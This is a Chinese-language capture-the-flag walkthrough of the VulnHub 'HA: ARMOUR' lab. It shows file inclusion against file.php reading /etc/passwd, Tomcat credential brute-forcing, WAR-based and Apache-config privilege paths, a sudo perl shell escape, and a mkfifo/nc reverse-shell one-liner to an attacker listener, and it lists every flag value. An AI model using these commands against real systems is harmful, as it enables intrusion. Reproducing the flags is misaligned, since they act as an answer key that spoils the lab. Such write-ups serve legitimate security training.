VulnHub靶場學習_HA: ARMOUR
HA: ARMOUR
Vulnhub靶場
下載地址://www.vulnhub.com/entry/ha-armour,370/
背景:
Klaw從「復仇者聯盟」超級秘密基地偷走了一些盔甲。獵鷹檢查了清單,以下是不負責任的事情:
1.綠巨人護甲 HulkBuster Armour
2.蜘蛛俠盔甲 Spiderman Armour
3.蟻人盔甲 Ant-Man Armour
4.黑豹盔甲 Black Panther Armour
5.鋼鐵俠盔甲 Iron Man Armour
克勞隱藏所有這些盔甲,現在由您決定。您可以使用滲透技能來恢復全部能力嗎?
-史蒂夫·羅傑斯(Steve Rogers)上尉
PS: Klaw有將密碼分為三部分並保存在不同位置的習慣。因此,如果您有一些建議,請結合起來繼續前進。
首頁:
首先進行埠掃描:
存在多個埠開放,依次對65534、80、8080、8009
由於該靶機是在2019年發布的,8009AJP漏洞是2020年公布的,所以盡量不使用。
該AJP漏洞是可以在Tomcat的webapps文件夾下任意文件讀取及文件包含(此靶機存在該漏洞)。
嘗試連接SSH:192.168.136.177:65534 獲取到flag及一個提示。
綠巨人護甲
HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}
Hint 1: TheOlympics
查看80埠,挺簡單的沒有太多複雜的東西。
進行目錄掃描的的同時,查看下源碼。
查看源碼。
發現armour、69、notes.txt,應該是給的提示吧。
會不會是埠呢,前面沒有掃出來,試試UDP掃描
百度下69埠下的服務。
這裡是開啟的Windows下的tftp服務進行連接,獲取notes.txt文件拿到flag。
蜘蛛俠盔甲
Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}
Hint 2: maybeevena
能下載試試能不能上傳,但也不知道上傳的絕對路徑,拿shell也是有阻礙的。
查看目錄掃描的結果,發現個file.php
懷疑是文件讀取或文件包含,利用bp進行爆破。
發現同樣是file。
訪問//192.168.136.177/file.php?file=/etc/passwd
驗證下,是文件包含。
//192.168.136.177/file.php?file=/var/www/html/index.html
利用該文件包含看看能獲取到什麼,同樣利用bp爆破敏感路徑。
查找有無敏感資訊暴露
最終發現了flag。
蟻人盔甲
Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}
Hint 3: StarBucks
拼接Hint1、Hint2、Hint 3得:
TheOlympicsmaybeevenaStarBucks
獲取到密碼,或許就是Tomcat的後台管理密碼吧。
獲得兩個提示的時候,百度一下就能獲取到密碼,
復仇者聯盟:無限戰爭(2018)中的片段。
舉辦奧運會,或者開家星巴克
利用Msf進行嘗試爆破。
用戶名不對,記得前面有獲取到/etc/passwd。將裡面的armour及aarti加入用戶名。
同時該Web頁面的單詞也少,就那麼幾個。
再次爆破,成功獲取到帳號。
利用Tomcat的war部署獲取shell。
將下面的jsp文件打包成war包上傳,從而反彈shell。
獲取到Tomcat許可權的shell。
查看了下Tomcat所在的文件夾,
前面有思路就是直接利用文件包含讀Tomcat的配置文件獲取密碼。
在文件包含那個點,有輸入過正確的路徑,只是沒有許可權,所以沒有成功獲取。
看下sudo -l 和 find / -user root -perm -4000 -print 2>/dev/null
lsb_release -a 查看發行版本
uname -a 查看內核
netstat -tunlp 查看網路
有個本地的8081埠,在/下無許可權。
切換到/tmp下嘗試。
獲取到flag。
黑豹盔甲
Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}
還剩最後一個提權的flag,但目前的tomcat許可權下無法提權。
發現/var/www/html文件夾的許可權是777。
利用下Apache反彈個shell試試。
利用tomcat在/var/www/html下建立反彈shell的nc.php。
沒有回顯。
查看許可權,給個讀許可權。
反彈shell,許可權
也沒有獲取root或home用戶許可權,但應該是從這個點獲取shell,畢竟/var/www/html默認不是777許可權。
那能不能改變Apache的上線用戶呢,查看下Apache的配置文件看看及有無修改許可權。
先用find來找下有無特意則為777許可權的文件,默認是不會存在的。
find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null
發現了Apache的配置文件及Tomcat的用戶管理文件,剩下的就是我前面利用文件包含的遺留文件。
查看cat /etc/apache2/apache2.conf
根據設置轉到cat /etc/apache2/envvars,發現了上面獲取到的shell用戶www-data。
嘗試修改,無許可權。
那就在/etc/apache2/apache2.conf下將修改:
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
修改為:
User root
Group root
修改後要重啟Apache,www-data沒有許可權重啟的Apache,這裡只能重啟的伺服器
改為root後Apache無法運行,只能利用Tomcat許可權的shell將root改為armour。
sudo -l和suid都沒有可以利用的提權點。
將/etc/apache2/apache2.conf配置里的user及group改為aarti找下有無提權點。
提權:sudo perl -e ‘exec “/bin/bash”;’
由於不是互動式shell,提權後無法返回root。所以這裡是利用nc反彈互動式shell。
mkfifo /tmp/kikvf; nc 192.168.136.1 3418 0</tmp/kikvf | /bin/sh >/tmp/kikvf 2>&1; rm /tmp/kikvf
反彈成功,提權獲取root許可權。
進入root文件夾獲取flag。
鋼鐵俠盔甲
IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}
—-end